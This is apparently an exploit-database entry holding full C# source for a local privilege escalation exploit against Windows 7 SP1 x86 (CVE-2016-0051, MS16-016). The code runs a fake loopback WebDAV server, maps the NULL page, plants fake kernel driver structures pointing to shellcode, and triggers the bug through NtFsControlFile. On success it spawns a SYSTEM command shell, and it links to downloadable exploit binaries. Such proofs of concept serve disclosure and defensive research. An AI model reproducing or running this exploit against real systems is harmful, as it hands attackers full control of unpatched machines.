Microsoft Windows 7 SP1 (x86) – ‘WebDAV’ Local Privilege Escalation (MS16-016) (1)

/*

source: https://github.com/koczkatamas/CVE-2016-0051

Proof-of-concept BSoD (Blue Screen of Death) code for CVE-2016-0051 (MS-016).

Full Proof of Concept:

- https://github.com/koczkatamas/CVE-2016-0051/archive/master.zip

- https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39432-1.zip

Elevation of Privilege (SYSTEM) exploit for CVE-2016-0051 (MS16-016) for Windows 7 SP1 x86 (build 7601)

Creator: Tamás Koczka (@koczkatamas - https://twitter.com/koczkatamas)

Original source: https://github.com/koczkatamas/CVE-2016-0051

*/

using System;

using System.Diagnostics;

using System.IO;

using System.Linq;

using System.Net;

using System.Net.Sockets;

using System.Runtime.InteropServices;

using System.Security.Principal;

using System.Text;

using System.Threading;

namespace EoP

{

class Program

{

#region Fake WebDAV server

static void StartFakeWebDavServer(int port)

{

new Thread(() =>

{

var server = new TcpListener(IPAddress.Loopback, port);

server.Start();

while (true)

{

using (var client = server.AcceptTcpClient())

using (var stream = client.GetStream())

using (var reader = new StreamReader(stream, Encoding.GetEncoding("iso-8859-1")))

using (var writer = new StreamWriter(stream, Encoding.GetEncoding("iso-8859-1")) { AutoFlush = true })

{

Func<string> rl = () =>

{

var line = reader.ReadLine();

//Console.WriteLine("< " + line);

return line;

};

Action<string> wl = outData =>

{

//Console.WriteLine(String.Join("\n", outData.Split('\n').Select(x => "> " + x)));

writer.Write(outData);

};

var hdrLine = rl();

Console.WriteLine("[*] Request: " + hdrLine);

var header = hdrLine.Split(' ');

while (!string.IsNullOrEmpty(rl())) { }

if (header[0] == "OPTIONS")

wl("HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n");

else if (header[0] == "PROPFIND")

{

var body = String.Format(@"

<?xml version=""1.0"" encoding=""UTF-8""?>

<D:multistatus xmlns:D=""DAV:"">

<D:response>

<D:href>{0}</D:href>

<D:propstat>

<D:prop>

<D:creationdate>{1:s}Z</D:creationdate>

<D:getcontentlength>{3}</D:getcontentlength>

<D:getcontenttype>{4}</D:getcontenttype>

<D:getetag>{5}</D:getetag>

<D:getlastmodified>{6:R}</D:getlastmodified>

<D:resourcetype>{8}</D:resourcetype>

<D:supportedlock></D:supportedlock>

<D:ishidden>{7}</D:ishidden>

</D:prop>

<D:status>HTTP/1.1 200 OK</D:status>

</D:propstat>

</D:response>

</D:multistatus>", header[1], DateTime.UtcNow.ToUniversalTime(), "", "0", "", "", DateTime.UtcNow.ToUniversalTime(), 0, header[1].Contains("file") ? "" : "<D:collection></D:collection>").Trim();

wl("HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: " + body.Length + "\r\nContent-Type: text/xml\r\n\r\n" + body);

}

else

wl("HTTP/1.1 500 Internal Server Error\r\n\r\n");

//Console.WriteLine(" =============== END REQUEST =============== ");

}

}) { IsBackground = true, Name = "WebDAV server thread" }.Start();

}

#endregion

#region WinAPI

[DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]

public static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr securityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);

[StructLayout(LayoutKind.Sequential)]

private class NETRESOURCE

{

public uint dwScope = 0;

public uint dwType = 0;

public uint dwDisplayType = 0;

public uint dwUsage = 0;

public string lpLocalName = null;

public string lpRemoteName = null;

public string lpComment = null;

public string lpProvider = null;

}

[DllImport("mpr.dll")]

private static extern int WNetAddConnection2(NETRESOURCE lpNetResource, string lpPassword, string lpUsername, int dwFlags);

// based on http://www.codeproject.com/Articles/21974/Windows-NT-Native-API-Wrapper-Library

public enum PageProtection : uint

{

NOACCESS = 0x01,

READONLY = 0x02,

READWRITE = 0x04,

WRITECOPY = 0x08,

EXECUTE = 0x10,

EXECUTE_READ = 0x20,

EXECUTE_READWRITE = 0x40,

EXECUTE_WRITECOPY = 0x80,

GUARD = 0x100,

NOCACHE = 0x200,

WRITECOMBINE = 0x400

}

[Flags]

public enum MemoryAllocationType : uint

{

COMMIT = 0x1000,

RESERVE = 0x2000,

FREE = 0x10000,

PRIVATE = 0x20000,

MAPPED = 0x40000,

RESET = 0x80000,

TOP_DOWN = 0x100000,

WRITE_WATCH = 0x200000,

ROTATE = 0x800000,

LARGE_PAGES = 0x20000000,

PHYSICAL = 0x400000,

FOUR_MB_PAGES = 0x80000000

}

[DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false)]

public static extern NtStatus NtAllocateVirtualMemory([In] IntPtr processHandle, [In, Out] ref IntPtr baseAddress, [In] uint zeroBits, [In, Out] ref UIntPtr regionSize, [In] MemoryAllocationType allocationType, [In] PageProtection protect);

public enum FileOpenInformation

{

Superceded = 0x00000000,

Opened = 0x00000001,

Created = 0x00000002,

Overwritten = 0x00000003,

Exists = 0x00000004,

DoesNotExist = 0x00000005

}

internal enum NtStatus : uint

{

SUCCESS = 0x00000000,

INVALID_PARAMETER_1 = 0xC00000EF,

INVALID_PARAMETER_2 = 0xC00000F0,

INVALID_PARAMETER_3 = 0xC00000F1,

INVALID_PARAMETER_4 = 0xC00000F2,

// don't care

}

internal struct IoStatusBlock

{

public NtStatus status;

public InformationUnion Information;

[StructLayout(LayoutKind.Explicit)]

public struct InformationUnion

{

[FieldOffset(0)]

public FileOpenInformation FileOpenInformation;

[FieldOffset(0)]

public uint BytesWritten;

[FieldOffset(0)]

public uint BytesRead;

}

[DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false, ExactSpelling = true, PreserveSig = true)]

public static extern NtStatus NtFsControlFile([In] IntPtr fileHandle, [In, Optional] IntPtr Event, [In, Optional] IntPtr apcRoutine, [In, Optional] IntPtr apcContext, [Out] out IoStatusBlock ioStatusBlock, [In] uint fsControlCode, [In, Optional] IntPtr inputBuffer, [In] uint inputBufferLength, [Out, Optional] IntPtr outputBuffer, [In] uint outputBufferLength);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]

delegate int LoadAndGetKernelBasePtr();

[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]

static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);

[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]

static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

#endregion

private static byte[] il(params uint[] inp) { return inp.SelectMany(BitConverter.GetBytes).ToArray(); }

private static byte[] z(int c) { return rep(0, c); }

private static byte[] rep(byte b, int c) { return Enumerable.Repeat(b, c).ToArray(); }

private static byte[] fl(byte[][] inp) { return inp.SelectMany(x => x).ToArray(); }

public static void Main(string[] args)

{

var shellcodeDll = LoadLibrary("shellcode.dll");

var shellcodeFunc = GetProcAddress(shellcodeDll, "_shellcode@8");

var loadAndGetKernelBaseFunc = GetProcAddress(shellcodeDll, "_LoadAndGetKernelBase@0");

var loadAndGetKernelBase = (LoadAndGetKernelBasePtr)Marshal.GetDelegateForFunctionPointer(loadAndGetKernelBaseFunc, typeof(LoadAndGetKernelBasePtr));

var loadResult = loadAndGetKernelBase();

Console.WriteLine($"[*] LoadAndGetKernelBase result = {loadResult}");

var addr = new IntPtr(0x1000);

var size = new UIntPtr(0x4000);

var result = NtAllocateVirtualMemory(new IntPtr(-1), ref addr, 0, ref size, MemoryAllocationType.RESERVE | MemoryAllocationType.COMMIT, PageProtection.READWRITE);

Console.WriteLine($"[*] NtAllocateVirtualMemory result = {result}, addr = {addr}, size = {size}");

if (result != NtStatus.SUCCESS || loadResult != 0)

Console.WriteLine("[-] Fail... so sad :(");

else

{

Console.WriteLine("[*] Creating fake DeviceObject, DriverObject, etc structures...");

var payload = fl(new[] { z(8), /* [0x8]DriverObject=0 */ il(0), z(0x30 - 8 - 4), /* [0x30]StackSize=256 */ il(0x10, 0), z(13 * 4), il((uint)shellcodeFunc.ToInt32()) });

Marshal.Copy(payload, 1, new IntPtr(1), payload.Length - 1);

var p = new Random().Next(1024, 65535);

Console.WriteLine("[*] Starting fake webdav server...");

StartFakeWebDavServer(p);

Console.WriteLine("[*] Calling WNetAddConnection2...");

var addConnectionResult = WNetAddConnection2(new NETRESOURCE { lpRemoteName = $@"\\127.0.0.1@{p}\folder\" }, null, null, 0);

Console.WriteLine("[*] WNetAddConnection2 = " + addConnectionResult);

var fileHandle = CreateFile($@"\\127.0.0.1@{p}\folder\file", 0x80, 7, IntPtr.Zero, 3, 0, IntPtr.Zero);

Console.WriteLine($"[*] CreateFile result = {fileHandle}");

IoStatusBlock ioStatusBlock;

var inputLen = 24;

var inputPtr = Marshal.AllocHGlobal(inputLen);

var outputLen = 4;

var outputPtr = Marshal.AllocHGlobal(outputLen);

var controlResult = NtFsControlFile(fileHandle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, out ioStatusBlock, 0x900DBu, inputPtr, (uint)inputLen, outputPtr, (uint)outputLen);

Console.WriteLine($"[*] NtFsControlFile result = {controlResult}");

var identity = WindowsIdentity.GetCurrent();

if (identity?.IsSystem == true)

{

Console.WriteLine("[+] Got SYSTEM! Spawning a shell...");

Process.Start("cmd");

}

else

Console.WriteLine($"[-] Something went wrong, looks like we are not SYSTEM :(, only {identity?.Name}...");

}

Console.WriteLine("");

Console.WriteLine("Press ENTER to exit.");

Console.ReadLine();

}

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